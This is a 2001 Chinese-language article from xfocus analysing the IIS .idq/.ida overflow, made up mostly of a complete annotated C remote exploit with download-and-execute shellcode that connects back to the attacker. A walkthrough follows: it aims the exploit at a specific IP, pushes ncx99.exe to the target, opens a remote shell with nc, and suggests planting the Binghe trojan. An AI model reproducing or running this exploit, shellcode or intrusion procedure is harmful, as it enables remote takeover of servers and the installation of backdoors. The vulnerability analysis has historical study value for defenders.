【分析】对.idq/.ida溢出攻击的分析

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简单实现栈溢出实验(IDA) 有关栈溢出的相关知识最近学校讲到了栈溢出，并有一道很基础的题，在此可以记录一下，感兴趣的人可以了解了解阅读详情

对.idq/.ida溢出攻击的分析

创建时间：2001-07-01
文章属性：原创
文章来源： http://www.xfocus.org
文章提交： isno (isno_at_sina.com)

对.idq/.ida溢出攻击的分析

by isno(isno@xfocus.org)

    IIS的.idq/.ida映射的溢出漏洞已经公布了好久了，但由于利用这个漏洞有
比较大的难度，所以可用的攻击程序一直也没弄出来。甚至连发现这个漏洞的
eEye也没做出攻击程序来，由于发送的内容被转换成了宽字符，所以覆盖用的
溢出地址比较难以控制，按照eEye的办法，是在shellcode前面放上很多NOP这样
就把shellcode推向了0x004x00xx的地址，就可以用xx4x这样的串来覆盖ret，这
个串被扩展为xx004x00以后正好跳转到shellcode的位置。这种方法虽然理论上
行的通，但是实际上问题非常多，可以控制跳转却无法执行代码，而且不同的机
器这个0x004x00xx都不一样，这样就很难做出通用性比较好的exploit。

    昨天终于看到公布了可用的攻击程序，一开始没仔细看还以为是骗人的。后
来用softice跟了一下，又请教了一下袁哥才搞明白。这个exploit写得很不错，
用巧妙的方法避开来被扩展成宽字符，可以随意控制跳转地址，利用他的方法可
以很轻松的改写出更完善的exploit。

    这个程序的shellcode比较简单，只是连到指定主机的指定端口去接受数
据，然后把它存为aa.exe，然后运行aa.exe。但它和以前的对付.htr溢出的那个
iishack不一样，它不能主动请求数据，而只能等待那边的主机发送数据，所以
你不能用它来下载指定的程序，而必须由攻击端的攻击程序来开个进程等待发送
数据到被攻击的主机。

    我把这个程序稍微改了一下，使它可以攻击中文版IIS5。因为过几天要考
试，我也没有时间再写个新程序了，只有等考完后在弄。下面就是我改良过
的.idq exploit程序，作了一些比较详细的注解：

-------------------------------idq.c---------------------------------------
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21

code flow:
  overrun -> jmp or call ebx -> jmp 8 ->
  check shellcode addr and jump to there ->
  shellcode -> make back channel -> download & exec code
*/
/*
Modified by isno
对中文版WIN2k + IIS 5.0 + SP0攻击成功！
在RedHat6.2上编译
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define RET 0x77e4ac97 /* jmp or call ebx */
/* 这是中文版WIN2K（没有安装SP）中jmp ebx的地址*/

#define GMHANDLEA 0x77e756db /* Address of GetModuleHandleA */
#define GPADDRESS 0x77e7564b /* Address of GetProcAddress */
/*中文版GetModuleHandleA和GetProcAddress的地址*/
/*这两个API的地址固定了，这样通用性不好，其实可以用shellcode来搜索*/

#define GMHANDLEA_OFFSET 24
/*GetModuleHandleA的地址在shellcode中的偏移位置*/

#define GPADDRESS_OFFSET 61
/*同上*/

#define OFFSET 234 /* exception handler offset */
/*
  作者选择了覆盖SEH，这样可以避免覆盖掉某些形参而引起的错误，
  但根据我的测试，覆盖RET也是一样的
*/
#define NOP 0x41

#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
/*做了一些编码，以免地址或端口中还有/0字节而截断shellcode*/

#define PORT 555
/*shellcode要连接的端口，不要用80，因为80一般都被占用了*/

#define ADDR "111.111.111.111"
/*
  ！！！注意：上面这个地方是必须要更改的地方！！！
  这是你发起攻击的主机地址，就是你运行攻击程序的那台主机。
*/

#define PORT_OFFSET 115
#define ADDR_OFFSET 120
/*都是一些偏移量*/

unsigned char shellcode[]=
"/x5B/x33/xC0/x40/x40/xC1/xE0/x09/x2B/xE0/x33/xC9/x41/x41/x33/xC0"
"/x51/x53/x83/xC3/x06/x88/x03/xB8/xDD/xCC/xBB/xAA/xFF/xD0/x59/x50"
"/x43/xE2/xEB/x33/xED/x8B/xF3/x5F/x33/xC0/x80/x3B/x2E/x75/x1E/x88"
"/x03/x83/xFD/x04/x75/x04/x8B/x7C/x24/x10/x56/x57/xB8/xDD/xCC/xBB"
"/xAA/xFF/xD0/x50/x8D/x73/x01/x45/x83/xFD/x08/x74/x03/x43/xEB/xD8"
"/x8D/x74/x24/x20/x33/xC0/x50/x40/x50/x40/x50/x8B/x46/xFC/xFF/xD0"
"/x8B/xF8/x33/xC0/x40/x40/x66/x89/x06/xC1/xE0/x03/x50/x56/x57/x66"
"/xC7/x46/x02/xBB/xAA/xC7/x46/x04/x44/x33/x22/x11"
#if MASKING
"/x66/x81/x76/x02/x41/x41/x81/x76/x04/x41/x41/x41/x41"
#endif
"/x8B/x46/xF8/xFF/xD0/x33/xC0"
"/xC7/x06/x5C/x61/x61/x2E/xC7/x46/x04/x65/x78/x65/x41/x88/x46/x07"
"/x66/xB8/x80/x01/x50/x66/xB8/x01/x81/x50/x56/x8B/x46/xEC/xFF/xD0"
"/x8B/xD8/x33/xC0/x50/x40/xC1/xE0/x09/x50/x8D/x4E/x08/x51/x57/x8B"
"/x46/xF4/xFF/xD0/x85/xC0/x7E/x0E/x50/x8D/x4E/x08/x51/x53/x8B/x46"
"/xE8/xFF/xD0/x90/xEB/xDC/x53/x8B/x46/xE4/xFF/xD0/x57/x8B/x46/xF0"
"/xFF/xD0/x33/xC0/x50/x56/x56/x8B/x46/xE0/xFF/xD0/x33/xC0/xFF/xD0";
/*shellcode实现连接到攻击端并下载程序的功能，这个程序必须在攻击端主机上*/

unsigned char storage[]=
"/xEB/x02"
"/xEB/x4E"
"/xE8/xF9/xFF/xFF/xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
/*这是前面的shellcode用来跳到后面并寻址字符串*/

unsigned char forwardjump[]=
"%u08eb";
/*这是覆盖异常结构的jmp 08h，用来跳到后面寻址shellcode的那段代码*/
/*
  作者在前面加了一个%u符号，这样就可以免于被扩展成宽字符，这方法
  太妙了！至于IIS是这样处理%u的，可以参见bbs.nsfocus.com上袁哥反汇编
  的代码。后面的返回地址和跳转shellcode的代码也作了同样的处理。
*/

unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
/*
  跳转到shellcode去，我不一句句的解释了，如果有兴趣可以自己看，
  注意每两个字节都是反的，%uC033在转换后变成了/x33/xC0。
*/

unsigned int resolve(char *name)
{
    struct hostent *he;
    unsigned int ip;

    if((ip=inet_addr(name))==(-1))
    {
        if((he=gethostbyname(name))==0)
            return 0;
        memcpy(&ip,he->h_addr,4);
    }
    return ip;
}
/*域名->IP*/

int make_connection(char *address,int port)
{
    struct sockaddr_in server,target;
    int s,i,bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;
    memset((char *)&server,0,sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = 0;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = resolve(address);
    if(target.sin_addr.s_addr==0)
    {
        close(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctl(s,FIONBIO,&bf);
    tv.tv_sec = 10;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        close(s);
        return -3;
    }
    if(i==0)
    {
        close(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        close(s);
        errno = bf;
        return -5;
    }
    ioctl(s,FIONBIO,&bf);
    return s;
}
/*上面是连接主机的函数*/

/*
  下面这个函数很重要，它监听在前面定义的那个的端口，我用了555，
  一旦有主机连接过来，后面那个进程就把本地的一个程序发送过去，
  这个程序当然也是在运行时指定的。
*/
int get_connection(int port)
{
    struct sockaddr_in local,remote;
    int lsock,csock,len,reuse_addr;

    lsock = socket(AF_INET,SOCK_STREAM,0);
    if(lsock<0)
    {
        perror("socket");
        exit(1);
    }
    reuse_addr = 1;
    if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)
    {
        perror("setsockopt");
        close(lsock);
        exit(1);
    }
    memset((char *)&local,0,sizeof(local));
    local.sin_family = AF_INET;
    local.sin_port = htons(port);
    local.sin_addr.s_addr = htonl(INADDR_ANY);
    if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
    {
        perror("bind");
        close(lsock);
        exit(1);
    }
    if(listen(lsock,1)<0)
    {
        perror("listen");
        close(lsock);
        exit(1);
    }
retry:
    len = sizeof(remote);
    csock = accept(lsock,(struct sockaddr *)&remote,&len);
    if(csock<0)
    {
        if(errno!=EINTR)
        {
            perror("accept");
            close(lsock);
            exit(1);
        }
        else
            goto retry;
    }
    close(lsock);
    return csock;
}

int main(int argc,char *argv[])
{
    int i,j,s,pid;
    unsigned int cb;
    unsigned short port;
    char *p,buf[512],buf2[512],buf3[2048];
    FILE *fp;

    if(argc!=3)
    {
        printf("usage: $ %s ip file/n",argv[0]);
        return -1;
    }
    if((fp=fopen(argv[2],"rb"))==0)
        return -2;

    if(!(cb=resolve(ADDR)))
        return -3;

    if((pid=fork())<0)
        return -4;

/*
  开两个进程一个用于构造并发送shellcode，
  另一个监听指定端口并等待发送数据。
*/
    if(pid)
    {
        fclose(fp);
        s = make_connection(argv[1],80);
        if(s<0)
        {
            printf("connect error:[%d]./n",s);
            kill(pid,SIGTERM);
            return -5;
        }

        j = strlen(shellcode);
        *(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
        *(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
        port = htons(PORT);
#if MASKING
        port ^= PORTMASK;
        cb ^= ADDRMASK;
        *(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
        *(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
        *(unsigned short *)&shellcode[PORT_OFFSET] = port;
        *(unsigned int *)&shellcode[ADDR_OFFSET] = cb;
        for(i=0;i<strlen(shellcode);i++)
        {
            if((shellcode[i]==0x0a)||
               (shellcode[i]==0x0d)||
               (shellcode[i]==0x3a))
                break;
        }
        if(i!=j)
        {
            printf("bad portno or ip address.../n");
            close(s);
            kill(pid,SIGTERM);
            return -6;
        }

        memset(buf,1,sizeof(buf));
        p = &buf[OFFSET-2];
        sprintf(p,"%s",forwardjump);
        p += strlen(forwardjump);
        *p++ = 1;
        *p++ = '%';
        *p++ = 'u';
        sprintf(p,"%04x",(RET>>0)&0xffff);
        p += 4;
        *p++ = '%';
        *p++ = 'u';
        sprintf(p,"%04x",(RET>>16)&0xffff);
        p += 4;
        *p++ = 1;
        sprintf(p,"%s",jump_to_shell);

        memset(buf2,NOP,sizeof(buf2));
        memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,strlen(storage));
        memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));
        buf2[sizeof(buf2)-1] = 0;

        sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0/r/nShell: %s/r/n/r/n",buf,buf2);

/*
  上面就是构造溢出串，溢出串在被扩展并拷贝入IIS的堆栈后形式如下：
     ..............| 异常链 |处理指针|.................
  010001000100.....|eb080100|97ace477|010033c0.........
                   |jmp 08h | jmp ebx|  jmp shellcode
*/

        write(s,buf3,strlen(buf3));

        printf("---");
        for(i=0;i<strlen(buf3);i++)
        {
            if((i%16)==0)
                printf("/n");
            printf("%02X ",buf3[i]&0xff);
        }
        printf("/n---/n");

        wait(0);
        sleep(1);
        shutdown(s,2);
        close(s);

        printf("Done./n");
    }
    /*下面这个进程用于建立连接，并打开指定文件并发送出去*/
    else
    {
        s = get_connection(PORT);
        j = 0;
        while((i=fread(buf,1,sizeof(buf),fp)))
        {
            write(s,buf,i);
            j += i;
            printf(".");
            fflush(stdout);
        }
        fclose(fp);
        printf("/n%d bytes send.../n",j);

        shutdown(s,2);
        close(s);
    }

    return 0;
}
-------------------------idq.c-----cut here-----------------------------

整个程序攻击的流程是这样的：

         攻击端                                   被攻击端
1.                      发送shellcode
                        --------------->
2.                                           溢出并运行shellcode

3.监听555端口等待连接

4.                     连接到攻击端555端口
                        <-------------------

5.                        发送文件数据
                        -------------------->

6                                             接受文件为aa.exe并执行

下面是演示一下具体的用法的实例：

先到一台linux主机上编译idq.c。gcc -o idq idq.c

！！！注意一定先改一下程序中的#define ADDR "111.111.111.111"为你这台
linux主机的IP地址！！！

然后上传一个ncx99.exe到这台主机放在同一个目录下：
bash# ls -al
total 90
drwxrwxrwt   7 root     root         1024 Aug 30 05:25 .
drwxr-xr-x  17 root     root         1024 Aug 28 15:47 ..
drwxrwxrwt   2 xfs      xfs          1024 May 14 03:03 .font-unix
-rwxr-xr-x   1 root     root        18526 Aug 30 05:25 idq
-rw-r--r--   1 root     root         8149 Aug 30 05:25 idq.c
-rw-rw-rw-   1 root     root        59392 Aug 17  1999 ncx99.exe
假设要攻击61.135.19.222，就这样：
bash# ./idq 61.135.19.222 ncx99.exe
---
47 45 54 20 2F 61 2E 69 64 71 3F 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
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01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 25 75 30 38 65 62 01 25 75 61 63 39 37
25 75 37 37 65 34 01 25 75 43 30 33 33 25 75 42
38 36 36 25 75 30 33 31 46 25 75 30 33 34 30 25
75 38 42 44 38 25 75 38 42 30 33 25 75 36 38 34
30 25 75 44 42 33 33 25 75 33 30 42 33 25 75 43
33 30 33 25 75 45 30 46 46 3D 61 20 48 54 54 50
2F 31 2E 30 0D 0A 53 68 65 6C 6C 3A 20 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 EB 02 EB 4E E8 F9
FF FF FF 6D 73 76 63 72 74 2E 77 73 32 5F 33 32
2E 73 6F 63 6B 65 74 2E 63 6F 6E 6E 65 63 74 2E
72 65 63 76 2E 63 6C 6F 73 65 73 6F 63 6B 65 74
2E 5F 6F 70 65 6E 2E 5F 77 72 69 74 65 2E 5F 63
6C 6F 73 65 2E 5F 65 78 65 63 6C 2E 5B 33 C0 40
40 C1 E0 09 2B E0 33 C9 41 41 33 C0 51 53 83 C3
06 88 03 B8 DB 56 E7 77 FF D0 59 50 43 E2 EB 33
ED 8B F3 5F 33 C0 80 3B 2E 75 1E 88 03 83 FD 04
75 04 8B 7C 24 10 56 57 B8 4B 56 E7 77 FF D0 50
8D 73 01 45 83 FD 08 74 03 43 EB D8 8D 74 24 20
33 C0 50 40 50 40 50 8B 46 FC FF D0 8B F8 33 C0
40 40 66 89 06 C1 E0 03 50 56 57 66 C7 46 02 43
6A C7 46 04 8B 2D 63 51 66 81 76 02 41 41 81 76
04 41 41 41 41 8B 46 F8 FF D0 33 C0 C7 06 5C 61
61 2E C7 46 04 65 78 65 41 88 46 07 66 B8 80 01
50 66 B8 01 81 50 56 8B 46 EC FF D0 8B D8 33 C0
50 40 C1 E0 09 50 8D 4E 08 51 57 8B 46 F4 FF D0
85 C0 7E 0E 50 8D 4E 08 51 53 8B 46 E8 FF D0 90
EB DC 53 8B 46 E4 FF D0 57 8B 46 F0 FF D0 33 C0
50 56 56 8B 46 E0 FF D0 33 C0 FF D0 0D 0A 0D 0A
---
...............................................................................
....................................
59392 bytes send...
Done.
然后文件已经传过去并运行了，等几秒种，然后就可以连接上去了！
bash# nc -vv 61.135.19.222 99
61.135.19.222: inverse host lookup failed: Unknown host
(UNKNOWN) [61.135.19.222] 99 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

C:/WINNT/system32>cd/
cd/

C:/>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 CC31-6B3C

C:/ 的目录

1997-01-11  16:54                  297 1.pl
2001-07-01  03:08               59,392 aa.exe
1997-01-06  16:44       <DIR>          Documents and Settings
2001-06-30  16:21       <DIR>          download
2001-05-02  19:17       <DIR>          Inetpub
2001-05-21  16:35       <DIR>          mp3
2001-05-02  21:48       <DIR>          mysql
2001-05-02  21:45       <DIR>          Perl
2001-05-02  21:57       <DIR>          php
2001-06-30  16:24       <DIR>          Program Files
2001-06-22  01:47       <DIR>          tool
2001-06-30  16:23       <DIR>          WINNT
.........
.........
.........
              28 个文件        383,912 字节
              13 个目录    353,680,384 可用字节

C:/>exit
sent 13, rcvd 2326
bash#
你也可以传个冰河Server端上去，随便你了！

写完这些我感到有点失落，因为漏洞不是我发现的，攻击程序不是我写的，
我也只能跟在那些高手的后面拾人牙慧，唉...还需要再努力学习。

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